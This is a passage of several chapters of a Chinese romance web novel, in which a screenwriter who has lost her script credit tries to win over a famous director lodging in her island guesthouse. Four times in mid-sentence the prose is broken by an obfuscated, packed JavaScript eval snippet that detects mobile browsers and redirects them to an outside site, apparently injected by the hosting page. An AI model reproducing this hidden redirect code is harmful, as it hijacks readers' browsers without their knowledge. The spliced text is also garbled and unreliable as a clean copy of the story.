宜夏被人盯着吃饭有点不自在,加快了速度,火速收筷站起来收拾碗碟。 谈雪昼叫住她:“聊一下。” 宜夏坐定,慢吞吞说:“您请讲。” 谈雪昼看着她说:“第一,我租了二楼的房间,如果没有特殊需要,你不能上楼。包括二楼和三楼。第二,需要提供早餐、午餐和晚餐,我会告诉你我的饮食习惯,希望你能照办。第三,如果我有其他需要,希望你能随时反馈回应。” 宜夏沉默两秒。 他不会真以为这是他家我是他仆人了吧? 她深吸一口气,尽量维持着平心静气:“第一,你只租了一个房间,二楼和三楼还有其他套间。第二,我们民宿只提供住处,不包括餐食。第三,我是您的房东不是您的女仆。” 谈雪昼沉默两秒:“加钱。” “……加多少?” 谈雪昼:“……?” 宜夏也感觉自己问得有点太迫不及待了。 她讪讪转开眼睛,镇定说:“岛上物价是很贵的,人工也很贵。” “你觉得应该加多少?” 宜夏看着他,分辨他到底是不是认真的——可这个人吃完饭就戴上了墨镜,她看不见他的眼睛,当然也就分辨不出他的神色。 她犹豫了下,伸出一只手。 谈雪昼挑了下眉。 要太多了? 宜夏忍痛弯了一根手指,觑一眼谈雪昼的神色,再弯一根手指。 一个月三千块,这不能再少了吧? 谈雪昼不咸不淡说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461066|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用,行,一个月五万。” 宜夏:“不不不不——” 是五千!五千啊! 谈雪昼侧着脸,抿住唇瓣。 宜夏无师自通地感觉他好像不耐烦了——一直讨价还价,烦不烦。她立刻把话头转回去,飞快说:“不得不说这个价格非常合适。那就成交。”她站起来麻利收拾,“那谈老师您之后有什么想吃的都可以告诉我,我会竭诚为您服务。” 谈雪昼抓着《罪与罚》站起来:“二楼房间里的热水器坏了,明天尽快叫人来修一下,宜老师。” 宜夏在他上楼后还止不住地琢磨。 他为什么叫她宜老师? ……她是叫人老师叫习惯了,突然秃噜出去了。 他呢? 莫非他其实认识她? 宜夏大学毕业这年,写出的剧本《江流冬日》,在国内最著名的金芙蓉电影节拿了最佳剧本奖。 得奖后,宜夏声名大噪,俨然是新生代的天才青年编剧。那时候享受了圈内许多吹捧,跟好些制片人应酬时,总是不免听他们提起,想撮合她和谈雪昼合作。 一个是新锐青年编剧,才华横溢,一个是票房无敌的天才导演,双剑合璧,不得票房奖项全收? 可是一直到出事,宜夏都没能认识谈雪昼,更别提合作了。 一方面,她其实不喜欢谈雪昼的电影。 他的片子里全是飙车、枪战、爆炸,充满血腥暴力刺激肾上腺素的情节,典型好莱坞流派爆米花大片,完全没有深度;另一方面,也是莫名其妙,总是错过认识的机会。 在圈内时从没碰上过。 虽然谈雪昼票房破百亿,已经是新生代导演第一人,宜夏却都没私下见过他,只在某次电影节颁奖典礼现场见过一面,但那次,她没有拿到任何奖项,两手空空离开。 相对的,谈雪昼也应该不认识她吧? 毕竟编剧比导演更偏幕后,更不起眼。 ——所以他为什么要叫她宜老师? ……一定是阴阳怪气。 宜夏心梗了,揪住兔子抱枕的耳朵,把自己摔回沙发上。 这个人真的好讨厌。 - 视频对面的徐皑有点受不了:“小雪,我求你了,你能不能把墨镜摘了?你这样我觉得我在和盲人视频。” 谈雪昼轻飘飘说:“不要叫我盲人,请称呼我视力障碍人士。” “你又不肯去做手术,又一直忍着角膜炎。你是不是抖M?还是说大火不仅熏坏眼睛,还熏坏脑子了?” “管那么多?”谈雪昼翻着桌上的分镜手稿,懒懒问,“现在剧组情况怎么样?” “能怎么样?郑中承根本拍不了。控制不了这么大的盘子,没这个能力你知道吧?这段时间天天在片场发飙骂人,进度还是一直上不去。” 谈雪昼淡淡扯了扯唇角。 徐皑问:“所以你真的就放手了?你的IP,凭什么要让给姓郑的。那是你一手做出来的东西!” “全光毅想扶他起来,我就让他试试,看他能做成什么样子。”谈雪昼说,“正好也给我腾时间勘景,做新的项目。到时候再,一起上映,票房正面对决。” 徐皑:“你是大气,我气不过。辛漪自杀跟你有什么关系,要牵——” 谈雪昼抿住唇,墨镜下表情冷淡:“不要提这件事。” 徐皑沉默两秒,干巴巴说:“清塘岛风景挺好的。你也别急着勘景,先别想工作的事情,你就当度假吧。我在这边替你盯着郑中承,看他能把你的IP霍霍成什么样。到时候拍出屎来就好看了。” 谈雪昼略略点了点头,手指伸进墨镜里揉了下眼睛。 “你还是去看看眼睛吧。有病么你这不是。孙悟空眼睛被熏了好歹练了火眼金睛出来,你呢?” 谈雪昼摘掉墨镜,用力眨了下眼睛,凝视着镜头对面的徐皑,突然说:“你推荐的民宿不错。” 徐皑:“——嗯?”他顿了下,“我就说我卡怎么突然扣了十五万!什么民宿要花十五万!你定了迪拜帆船酒店?!” 谈雪昼撩起薄白的眼皮,慢条斯理说:“世界真的,太小了。” 4. 春日 宜夏翻来覆去做了一夜的梦。 梦里正是春末夏初的五月份。她在江流的工作室里养了很多绿植,橙红色的果汁阳台开到爆盆。空气中弥漫着温暖干燥的馨香,宜夏窝在南瓜沙发里刷视频,助理突然给她发了一条链接,问她:宜老师,《强制报告》不是你的剧本吗?为什么海报上编剧是于老师啊? 宜夏看见《强制报告》发出来的预告海报。 用很显眼的美术字写着,编剧:于思程 宜夏怀疑是不是出了错误。 画面一转,于思程坐在宜夏对面,双眼通红说:“小夏,你相信我,当时是签合同太着急了。我也是心急,直接用了咱们工作室的名义跟他们签的约,没想到,他们直接挂了我的名字,我马上让他们把你的名字加上!他们办事怎么这么不靠谱!” 她一脸的诚恳真挚,宜夏相信了,安慰她:“不用着急,思程,我没怪你。” 再然后,就是《强制报告》票房突破三十亿。 然而编剧那一栏,依然没有宜夏的名字。 《强制报告》是关注未成年人遭受性侵害的现实主义题材,票房大爆,口碑爆棚,在金芙蓉电影节提名了最佳影片、最佳故事片、最佳原创剧本等等重要奖项。 颁奖典礼上,于思程拎着裙摆款款走到舞台中央,接过最佳原创剧本的奖杯。 宜夏在台下静静看着她表演。 她巧笑倩兮,说《强制报告》的成功,要感谢剧组所有人的付出,特别是感谢导演能完美展现我的故事,感谢主演能完美呈现我的角色,让这个故事被所有人看见。 “我的故事”、“我的角色”。 如果宜夏不是真正的编剧的话,她可能也会配合地笑着,祝福这一位年少成名的天才少女。 画面突然开始扭曲旋转。 漫天的谩骂幻化成利箭,把她扎得浑身都是孔洞。 她踉跄走在黑暗里,遍体鳞伤踽踽独行,她使劲掐住自己的下唇瓣,掐出了血迹——不要怕,不要哭。站起来,继续走,你一定可以让他们所有人付出代价的。 宜夏脑子炸疼,倏然从梦里惊醒,抱着被子坐起来。 窗帘缝里隐约透出远处灯塔一闪一闪的冷光,遥远的海浪声不知疲倦地涨落。听了好久的海浪声,宜夏急促的呼吸才逐渐平复,睁眼望着天花板,迟迟没能成功入睡。 她翻身下床,从柜子里翻出一瓶只剩一半的褪黑素胶囊。 翻动柜子时,一份文件被带出来落到地上。宜夏蹲下把它捡起来,重新塞回柜子里,想了想,又塞到了柜子最底层。 那是一份心理咨询的病历。 吃了两颗褪黑素,又把房间所有窗帘拉得死紧,宜夏好不容易终于重新入睡。 第二天醒得很早。 手机在枕边震动不停。宜夏迷蒙之间划开屏幕,是闺蜜薛霓发来的几条微信消息。 薛霓: 【不要脸的死渣男又出街了】 【[微博热搜]舒润低调现身江流机场,黑色系超酷穿搭Look请查收~】 宜夏揉了下眼睛,给她发了个省略号过去。 薛霓: 【死渣男天天买热搜,今天穿LV明天穿雕,可惜连个全球大使都混不上,死不要脸】 【这种贱人居然还敢天天买热搜。】 【不行,我想到就气,我去广场骂人了】 宜夏: 【小心被他粉丝举报封号。】 薛霓: 【我买了一百个小号,换花样骂。】 宜夏: 【没用。】 薛霓: 【?】 宜夏: 【我试过。】 薛霓: 【……】 宜夏停了两秒,干脆转移话题: 【问你个问题。】 【如果你给一个人造成了恶劣的初印象,你要怎么修正回来?】 薛霓很好忽悠,立刻转移了注意: 【谁?你给谁造成恶劣印象了?】 【男的女的?】 宜夏: 【问那么多。】 薛霓: 【我要知道是男是女,才能对症下药!】 宜夏: 【你就说吧。】 薛霓: 【初印象差不可怕,之后你多做点好人好事不就得了呗。】 【多关注TA关心TA,印象肯定能改善的】 【毕竟你这么美,不管男女对美女都会心软的】 会吗? 宜夏确实长了很漂亮的一张脸。 鹅蛋脸,白皮肤,眼睛如同汪在溪水里沁凉的杏子。她的少女时代在海岛长大,但日晒丝毫没影响她一身白得净透的皮肤,那白是一种温和的半透明的磁白,光润的,甚至微微拢着一层光晕的朦胧的白,用一个词来形容就是有仙气。 但漂亮不是一件好事,从小到大因为这张脸受了不少委屈。 在娱乐圈这么个明晃晃看脸的圈子里,她长了一张明显不像幕后工作人员的脸。 宜夏知道自己长得好看,但不觉得靠脸能刷到谈雪昼的好感。 他什么样的大美女没见过。 宜夏想七想八。 虽说如此,住在同一个屋檐下,不可能井水不犯河水。总是能找着机会刷存在感和好感的。 譬如说,他总是要吃饭的吧?总不能顿顿点外卖吧?事实上岛上根本就没外卖。靠做好吃的刷他好感度,总比靠颜值靠谱。 于是一大早,宜夏就在一楼守株待兔。 结果一直到中午,都没听见楼上任何下楼的动静。 不吃早饭很正常,午饭也不吃? 谈雪昼莫不是导演,是来修仙的吧? 又等了半小时,宜夏开始心神不定了,甚至担心起来,人不是在房间出问题了? 还是去二楼看看。 爬上二楼,脚步停在谈雪昼的套房门口,她犹豫了。 昨天他说了没事不要上来。 正打算敲门时,房门被人从里面拉开。 谈雪昼穿着一身衬衫,衣袖挽到手肘,困倦地眯着眼睛:“在这干嘛?” 宜夏想说我怕你死我家了。 她后退一步,温吞说:“谈先生,我想问您要不要吃午饭,以及午饭想吃什么,我好准备。” 谈雪昼说:“你看着办。”又丢下一句,“没事不要上来。” 砰一声关上了房门。 宜夏站在门口差点被撞上鼻子。 她有点生气,这人什么态度啊。 他凭什么啊?就凭几个臭钱,真的把自己当主人了? 不过几个臭钱而已。 ……可那个钱是真的多啊。 唉。 宜夏不跟钱过不去,只好颓然下楼做午饭。 两个人的午饭,做了三个菜,柠檬虾加干锅五花肉包菜,以及虾仁滑蛋。 柠檬的清爽很好地中和了酸辣的余味,令人胃口大开。 宜夏甚至特地找了三个配套的水晶碟碗出来,精致摆盘,把三个菜摆在餐桌上,简直是赏心悦目。 她端详一番,拍了张照。 他不让她没事上楼。 她要让他知道谁才是这里真正的主人,谁才是真正的老大。 ——她就要上楼。 不过上楼叫人吃饭,总感觉不像主人,更像老奴。 宜夏敲了门。 这次谈雪昼门都没开,隔着一道房门传来他带点倦意的声音:“等着吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461067|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜夏忍:“那我先吃了?” “不行。” “可是我饿了。” “所以?” 宜夏继续忍。 没忍住,一掌拍在房门上——谁知道房门根本没关紧,一推就开。她一下失去支撑,整个人朝前扑去。 径直朝前扑去,惯性几步,跌倒在地毯上。 等她爬起来,抬起头时,正对上谈雪昼从上往下看的微妙眼神。 谈雪昼他正在……换衣服,换到一半,T恤半脱不脱,露出一截人鱼线以及下腹几块形状分明的腹肌,腰腹线条劲瘦有力。 他动作顿在了原地,眼神也顿在了她身上。 宜夏呆住了,眨了下眼。 她还没来得及找补,谈雪昼微妙的声音响起:“第一,还没过年,你行此大礼,我也没有红包给。”顿了下,声音拉长,带上了一点懒散和玩世不恭,“第二,你还不起来,还想继续看多久?” 宜夏第一秒是尴尬上头,这一秒已经镇定了。 她淡定站直,若无其事地退回房门口,拧了几下门锁,回过头若无其事地说:“我刚刚,是在检查门锁坏没坏。” 谈雪昼的眼神是“你继续表演”。 宜夏淡定地退出房间,挤出营业的礼貌微笑:“好像没什么问题呢。那谈先生,你换好衣服就下楼来吃饭哦。” 话刚说完她立刻甩上房门,搓着脸飞快跑下楼洗脸。 从洗手间的镜子里,她看见自己的脸,徐徐地,缓缓地红了起来,从脸颊红到脖颈。她对镜子里的自己挤出一个笑脸,沮丧地垂下了肩膀。 丢人。 - 谢天谢地谈雪昼看了中午三道菜,没跟昨天似的挑肥拣瘦。 他随便吃了点,每样菜都夹了一些尝。 宜夏悄悄注意他的口味,默默在内心备忘录小本本里记了下来。 本以为吃完饭下午能有相处刷好感的机会。 结果谈雪昼虽然没回房间,但也没留在一楼客厅。他带着一个单反出门了。 宜夏洗完碗出来,人已经不见了。 她好痛苦,倒在客厅的云朵沙发里,捂着脸发出了低低的哀鸣。 不过谈雪昼回来得也早。 三点多就回来了,还拎着一只行李箱。 他推着箱子进门,宜夏立刻坐直身体,下一秒站起来,跃跃欲试想献一下殷勤。 怎么不动声色地献殷勤当舔狗,这是一门巨大的学问。她还没学会,犹犹豫豫站在原地,谈雪昼自己把箱子弄上楼了。 哐当。 二楼房门合上。 那不仅是关门声,更是宣判宜夏事业死亡的丧钟声。这一刻不要问丧钟为谁而鸣,丧钟就是为你而鸣。 宜夏再一次扑倒在沙发上。 当舔狗也需要熟练度,她这样的没资质。 没关系。 还有晚饭。 总之每天已经有固定可以刷好感度的时间段了。 凡事都不要操之过急。 宜夏这么开解自己。 她趴在沙发上,随手点开微博,眼神忽然一凝。 是一条同城的内容,博主拍了张江流机场的照片,很兴奋地说“居然在机场偶遇了舒润!大明星真的好帅天啊”。 配图是偷拍的舒润,戴口罩帽子很低调。 旁边有路人入镜——个子很高的一个男人,一身深色西装,西裤裤线笔挺。 宜夏看清楚他的脸,呼吸顿时一窒,飞快滑去了下一条内容。 于璟……回国了? 心不在焉地往下看了好几条,她把手机合上,冲进洗手间洗脸。 把脸埋在满盆水里,她憋了半天,才挣扎着抬起头来,从镜子里看见自己满脸水珠,双眼通红。 5. 春日 - 宜夏本来以为,同在一个屋檐下朝夕相处,会有很多机会刷谈雪昼的好感度。 没想到竟然完全井水不犯河水。 除开吃饭的时间能碰头之外,其他时间,要么他就出门不见踪影,要么他就蜗居楼上。宜夏想上去溜达打探,什么借口都拉出来了,甚至真的化身客房小妹说要搞卫生,都被谈雪昼拒绝了。 一片焦虑之中,她开始怀疑,他不让她进那个房间,该不会是在里面搞什么见不得人的事情吧? 贩、毒制、毒?不要啊。 或者,该不会像社会新闻里的房客那样,一个月之后收房,发现房间已经化身垃圾堆苍蝇站了? 看起来人模狗样的,应该不会这么不讲究吧? 宜夏实在没办法,只好另寻出路。 谈雪昼这条路不见得能走得通,其他死路活路,也不能放弃。她一直在不停联系认识不认识的影视公司,不过大部分时间遇见的都是拒绝和挫折。 怎么办?好像撞进死胡同了。 宜夏连着失眠了两个晚上。 - 不过宜夏觉得自己还是可以挣扎一下。 她不是那么轻易放弃的人。 就算不能通过物理距离来拉近距离,那也可以在网络上嘘寒问暖表达关心表现一下存在感呀。 宜夏想起自己跟房客已经相处一周了,还没加过微信,顿时觉得自己不大称职。 她立刻抄起手机,在微信里搜索谈雪昼的电话号码。 搜出来了。 幸好他没设置什么不允许搜索号码添加好友。 她斟酌了措辞,发了一条好友申请过去。 备注消息:谈先生您好我是您的房东宜夏 睡前她看了眼手机,好友申请没有通过。 她又发了一条。 备注消息:尊贵的谈先生我是您的房东宜夏,请添加我的好友,便于日常交流沟通~ 第二天一早醒来,依然没通过。 宜夏无精打采地起床去做早饭。 饭桌上,总算让她逮住了谈雪昼,用尽十二万分的温柔耐心,问:“谈先生您看见了我的好友申请吗?” 饭桌上,谈雪昼还算好说话,懒洋洋回了她一句:“没看见。” 宜夏:“?” 宜夏努力说:“我觉得我们还是加个微信,平时比较好沟通,有什么需要你也可以随时告诉我,您觉得呢?” “不必,我没有微信。” 你怎么不干脆说你没有电话号码呢?! 宜夏温吞说:“那我帮您注册一个,很简单的。” 谈雪昼靠着椅背,瞥她一眼,漫不经心说:“我们好像,也没什么事情一定需要微信沟通交流的吧?” 宜夏化身企鹅野生推销员:“微信真的很重要,我觉得谈导你还是注册一个,不然别人都有,你没有,听起来多可怜啊。” 谈雪昼不置可否,直接说:“今天的蛋煎老了。” 说完抓着手机起身上楼。 宜夏使劲戳开碗里的蛋,像在戳谈雪昼一样用力泄愤。 谈雪昼上楼前回头朝她看了一眼,宜夏立马挤出营业的温柔微笑。 就是不加她好友呗。 不就是加个微信吗? 为什么这种很合理的要求也要拒绝,这是什么大导演的高傲吗? 宜夏不是那么容易认输的人,他不加她,她就每天在验证消息里发消息。 早上发:早安谈先生。 中午发:午安谈先生。 晚上发:晚安谈先生。 睡前发:以防明天见不到你,祝你早、午、晚都安^^ 如此重复了两天,谈雪昼在验证消息里回她了。 三个字: 别发了 宜夏不。 你让我不发我就不发,我多没面子? 谈雪昼又发来一条。 -大学男生追女生都不这么死缠烂打 宜夏说我又不是大学男生。你也不是我要追的女生。她继续发。 结果发不出去——谈雪昼竟然,把她的号码直接屏蔽拉黑了! 这人到底在作什么啊? 房东加一个房客的微信,这难道不正常吗?不正常吗? 宜夏怒而给他发短信。 -谈先生,你是不是按错了,想按通过我的好友申请按成拉黑了?[可怜] -没关系我不介意,如果你能把我从黑名单里放出来就更好了,谢谢。 谈雪昼…… 嗯。 没回。 她也不知道看没看见。 宜夏隔天早上又想抓住机会问,结果谈雪昼不吃早饭就出门了。 宜夏简直要仰天长叹,先帝创业未半而遭受一百个打击。 到底是为什么啊?他是不是在逗她玩啊?她应该没哪里得罪了他吧? 难道是之前在圈子里的时候,她什么时候遇见过他开罪了他,只是她自己不知道? 不至于啊。 他那张脸,那个装逼大墨镜,谁见了会没印象啊。 说起来,宜夏想起自己其实是见过谈雪昼一面的。 就是在去年的金芙蓉电影节颁奖典礼上。 《强制报告》拿到了很多提名,但却跟宜夏无关。宜夏没有署名,看着于思程领走最佳原创剧本的奖项,她指甲掐紧了掌心。 ——那段时间外婆重病。 于思程说,只要宜夏愿意放弃追索署名,她会帮忙请国外最好的医疗团队来治疗外婆。 宜夏答应了。 所以,三十亿票房与她无关,奖项也与她无关,变成了其他人的荣耀。 宜夏虽然遗憾,但想到外婆,她倒不后悔。 只是有些怅然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461068|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颁奖典礼结束后还有酒会。 宜夏躲清净,去小露台上吹风。 背后几个女演员在讨论,说这次颁奖典礼谈导竟然来了。 顺着她们隐晦的视线望过去,她看见人群中一个格外显眼的人影。 谈雪昼真的很高,比号称裸高183的舒润还要高出不少。他身上的西装不那么正式,偏随意慵懒,中长款大衣披在身上却依旧显得英气。虽然站姿松弛懒散,但在一群严阵以待的中年大佬当中,却显得格外鹤立鸡群,明朗如少年。 这时候他还没有走哪里都戴装逼大墨镜的习惯,一双线条精致的桃花眼流光溢彩,格外明亮璀璨。 不知道旁边的人跟她说了什么,他勾了勾唇角,漫不经心笑了下。 那一瞬间宜夏心中一震。 他笑起来可真好看,眼睛好亮好干净。 简直像一只,从山林里跑出来的黑眼睛小鹿。 那场酒会宜夏先走了。 后悔,现在就是后悔。怎么当时就那么清高,没凑上去要个名片要个微信呢?! 加个微信都能命运多舛成这样。 好,拉黑是吧。她不信他完全没任何社交媒体。 宜夏一怒之下找出微博开始私信。 【你好是谈导吗?我是你房东宜夏,可以把我从黑名单放出来吗?】 ——这是开始的画风。 过了半天。 【加我微信加我微信加我微信】 【不然小心我在你的饭里放泻药】 【呵呵我什么做不出来】 再过半天到晚上,谈雪昼还没从外面回来。 宜夏十分烦闷。 【加个微信而已,谈老师你的好友位是和大熊猫一样珍惜吗。】 【我想加你好友其实就是想问问你,每个月除房费之外多出的五万块钱,这五万块里包不包括食材费用。食材到底是算我出还是算你出,你给个准话。】 【我其实根本没有想加你微信,不加就算了呵呵】 过了三十分钟。 宜夏无力了。 【还是给一个吧[大哭][大哭][大哭]】 微博私信突然跳了一下。 【?】 是活的谈雪昼。 ——所以,他到底在装什么? 在矜持些什么! 宜夏假装刚刚的发疯破防全都不存在,淡定地说: 【谈先生,通过一下我的好友申请吧。】 谈雪昼那边停了半分钟,才慢腾腾回答: 【我微信】 【全是工作好友】 宜夏: 【没关系,把我当成你最好的工作好友吧^^】 那边沉默两秒,两行字就那么跳出来,刺伤了宜夏的眼睛: 【短信不够吗?到底要微信干什么?】 【……想泡我?】 6. 春日 没错。 扭一扭,舔一舔,再泡一泡。 既然你已经识破了,我就不扭捏了。宜夏面无表情打字: 【谈先生我真的只是想和你沟通一下住宿的事情。】 【比如最近的饭菜口味怎么样】 【咸了吗淡了吗】 【不是要给我下泻药吗?】 宜夏: 【哈哈你看见了啊?】 宜夏迅速撤回这条。 【怎么可能呢,只是在开玩笑而已,谈先生你不可能当真吧】 那边又不回了。 宜夏捏紧兔子抱枕的长耳朵,发出了痛苦的哀鸣。 睡前看了眼手机。 好友申请的位置,出现了一个!珍贵的红点! 宜夏精神一震。 ——不是谈雪昼。 头像是个特别可爱的粉色兔子,验证消息写的是:宜老师你好,我是蜜桃传媒的制片人赵幼芳~ 宜夏这回精神是真的一震了。 她给很多影视传媒公司都发了邮件,期盼有人能把她的新剧本买下来,有反馈的不多,主动加她微信的更少。什么谈雪昼不谈雪昼的,不重要了,重要的是蜜桃会不会通过她的项目! 她立刻通过了赵幼芳的好友申请。 对方果然是来跟她聊她的剧本的。 她灵感很多,但这段时间基本成型的剧本就一个,《清塘山岛日记》。 是一个很平缓悠长的故事,讲的是从小分离的四个姐妹们互相接纳、温暖彼此人生的一段经历。 上一辈离婚,四个性格各异的女孩被迫从小分离,却意外在母亲的葬礼上重逢。台风袭来,四个并不熟悉却又被血缘牵绊的女孩,被迫在充满父母回忆的老房子里过夜,有些感情悄然发生…… 赵幼芳跟她说,蜜桃传媒之前是做网剧和网大的,有意进军院线电影市场,觉得《清塘山岛日记》的剧本非常好——女性主义题材,投资不大,可以用新人演员,非常适合他们公司第一部院线,很有诚意想买下她这个本子。 宜夏有些惊喜。 赵幼芳又说,目前公司已经在着手推进前期考察工作了,过不了几天可能就会过会,到时候再跟她商量讨论具体事宜。 宜夏放下手机,仰面倒在床上,有些振奋,终于要重新开张了。 快半年了,一点收入都没有,再这样下去宜夏都要去小红书卖课赚钱了。 不用舔谈雪昼了! 靠自己的能力也能重新回去! 谈雪昼在高傲些什么? 宜夏说不舔就不舔。 第二天早晨就没精心做早饭,只简单做了两个三明治。她偷偷观察谈雪昼,他晏然自若,好像根本没发现她的冷淡。 呵呵。 你后悔去吧,等我杀回电影圈,到时候就是你求着加我微信了。 宜夏觉得自己可以平常心了。 不用把谈雪昼当成“导演”了,他只是个普通客人。她不需要服务得太周到,时时刻刻关注他的动向,只要正常就好了。 这样相处下来也会比较自然。 宜夏心情不错,一直持续了好几天。 她跟赵幼芳聊了好几天,对方口风一直很不错,甚至已问到她有没有推荐的导演演员。 这天晚上吃完晚饭吹完风回来,宜夏照常问了下对方进度如何。 赵幼芳: 【宜老师,这两天我一直不知道怎么跟你说这个事儿。】 【真的不好意思啊。】 宜夏抱紧双膝,问: 【怎么了?】 赵幼芳: 【你这个本子我们研究过后,没办法立项。】 【本子是好本子,问题出在我们这边,不好意思。】 宜夏追问: 【前几天不是都说已经要上会了吗?】 宜夏失望是失望,但也没到太难过的程度。 毕竟编剧一年做五个项目,哪怕开机了呢,都能再流产四个。宜夏这半年来经历了太多次临时反悔了,至少对面没骗她,已经很好了。 赵幼芳: 【上会之后我们老大还是觉得你这个不够商业化】 【宜老师,我个人真觉得是好本子。】 【但太缓了。不能给四个女生安排至少一条爱情线吗?】 宜夏得奖的《江流冬日》是写亲情的。 票房大卖的《强制报告》主线是拯救被性侵的小姑娘。 她的本子基本是女性视角的友情和亲情,就算有男性角色,也不会和女角色发展感情线,最多是并肩作战的战友。 没有爱情。她不擅长写爱情故事。 在出事之前,她的本子是很受欢迎的,是圈内不少女演员趋之若鹜的女性向“大饼”。出事之后,却不少人给她提意见,教育她,要她写爱情,写恋爱,写轻喜剧,写青春疼痛,迎合市场。 她不会,也不想。 爱情不是她信仰的东西,写自己都不相信的东西,她觉得不真诚。 她琢磨着怎么尴尬而不失礼貌地回复,又见对方发来一条。 【这也是我们老大的意思。】 【不过我觉得只是借口。】 宜夏连忙追问。 赵幼芳: 【你不要告诉别人是我说的。】 【宜老师,你想想,你是不是得罪过什么人?】 【有人不让我们用你的本子。】 【不仅是我们公司,我听说其他公司也收到了警告。】 宜夏愣了下。 得罪过人吗? 她当然没主动得罪过人,可是,怀璧其罪。 她出道后前几个剧本都不温不火,拿了一些奖项,在文艺片爱好者群体里尚算出名,但没什么大众知名度。 直到她写出来《强制报告》。 这是个小众的题材,她没怎么放在心上,剧本写完之后,她也没怎么上心愁卖。她和于思程是好朋友,也是工作室的工作伙伴,于思程替她处理剧本的事,算得上半个经纪人,那天告诉她,《强制报告》她帮她卖出去了,已经签了合同了。 宜夏看了合同,甚至都没看卖了多少钱,只是简单看了下署名的条款。 明明,那个条款上写的是她的名字。 但看到宣传海报那天,剧本署名变成了别人的名字。 于思程起初是否认,说没有这回事,后来是说确实是签错了合同,但不是故意的,再后来,就是说合同已经签完,字幕全都打好,电影也过了技术审查要上映了,没有办法再改过来了,最后才是眼眸含泪地请求她,能不能不要再追究这件事。 宜夏答应了。 只是,所有人都没有想到,《强制报告》能这么爆,票房超出所有人的预想,甚至得到了官方多次点名称赞,就连出品公司的股价,都连续上涨了接近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461069|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个月。 那段时间外婆生病了。 宜夏是很在乎计较署名顺位的事情,但和于思程达成了协议,于思程帮她联系医生治疗外婆,她就放过这件事不计较。 她也是打算放过。 但于思程不相信她能做到。 面对这么大的荣誉和利益,再坚固的信任,也会分崩离析。 没人相信她真的无所谓。 没人相信她对三十亿票房的电影署名权真的无所谓。 更何况,于思程本身就心虚。 所以,选择先下手为强。 宜夏一直以为于思程是和她起步时一样困难的普通人。 人家才不是,人家原来是著名影视集团于氏的公主。公主屈尊降贵抢你的剧本,你就该感恩戴德。公主心虚有鬼想把你捏死,你就该永世不得翻身。 公主有一万种手段叫你浑身脏水翻不了身,自己还能清白无瑕,继续做“新锐女导演”、“自编自导处女作票房三十亿的天才少女”。 宜夏呢? 那之后,她有半年的时间没办法入睡,睁着眼睛看天花板,一直看到天亮。 回到清塘之后,她才勉强能睡着。半年时间才收拾好心碎,重新投剧本。 被制片人揩油,被中年导演发暧昧消息,被肥头大耳的投资人问为什么这么辛苦要写剧本,直接出道当女明星嘛,叔叔一定捧你拿大奖,只要你愿意付出一点小小的代价。 宜夏都忍了下来。 她始终还有一点希望,总觉得,过了这个槛儿,她能东山再起。 她错在识人不清,下次改就好了。她自己有能力有本事,能写东西,总不可能一个本子都卖不出去。 可是原来他们是真想她死。 给她泼了一身脏水还不够,是真的要她永远回不去。 宜夏胸口起伏,忍住愤怒,慢慢打字: 【谢谢你幼芳,谢谢你提醒。】 赵幼芳: 【宜老师,我们老大还是很看好你的。】 【你这个本子,如果不署名,我们愿意买。】 宜夏一个字一个字的敲: 【不,我一定要署名。】 【名字是我最重要的东西,我这一次绝对不会放弃。】 关掉和赵幼芳的对话框,宜夏把自己蜷成一团。 怒火盈炽,火星点燃心口连天的野草,荒野愤怒地燃烧起来。 她垂着头,缓缓捏紧了拳头,突然猛地合上笔记本的屏幕站起来。转了一圈,她实在忍不住,一拳砸在桌面上。水杯里的水都跳了起来。 于思程。 太过分了。 是可忍,孰不可忍。 楼上突然传来关门声。 谈雪昼拎着一个水杯从楼梯上下来。 他戴了副新眼镜,不是夸张的墨镜了,防蓝光没度数的无框眼镜,显得挺斯文。 走到一楼,看见她垂着头表情扭曲,他站定,半晌试探着唤了一声:“喂。” 宜夏突然转头,眼睛缓缓凝住,死死盯着他。 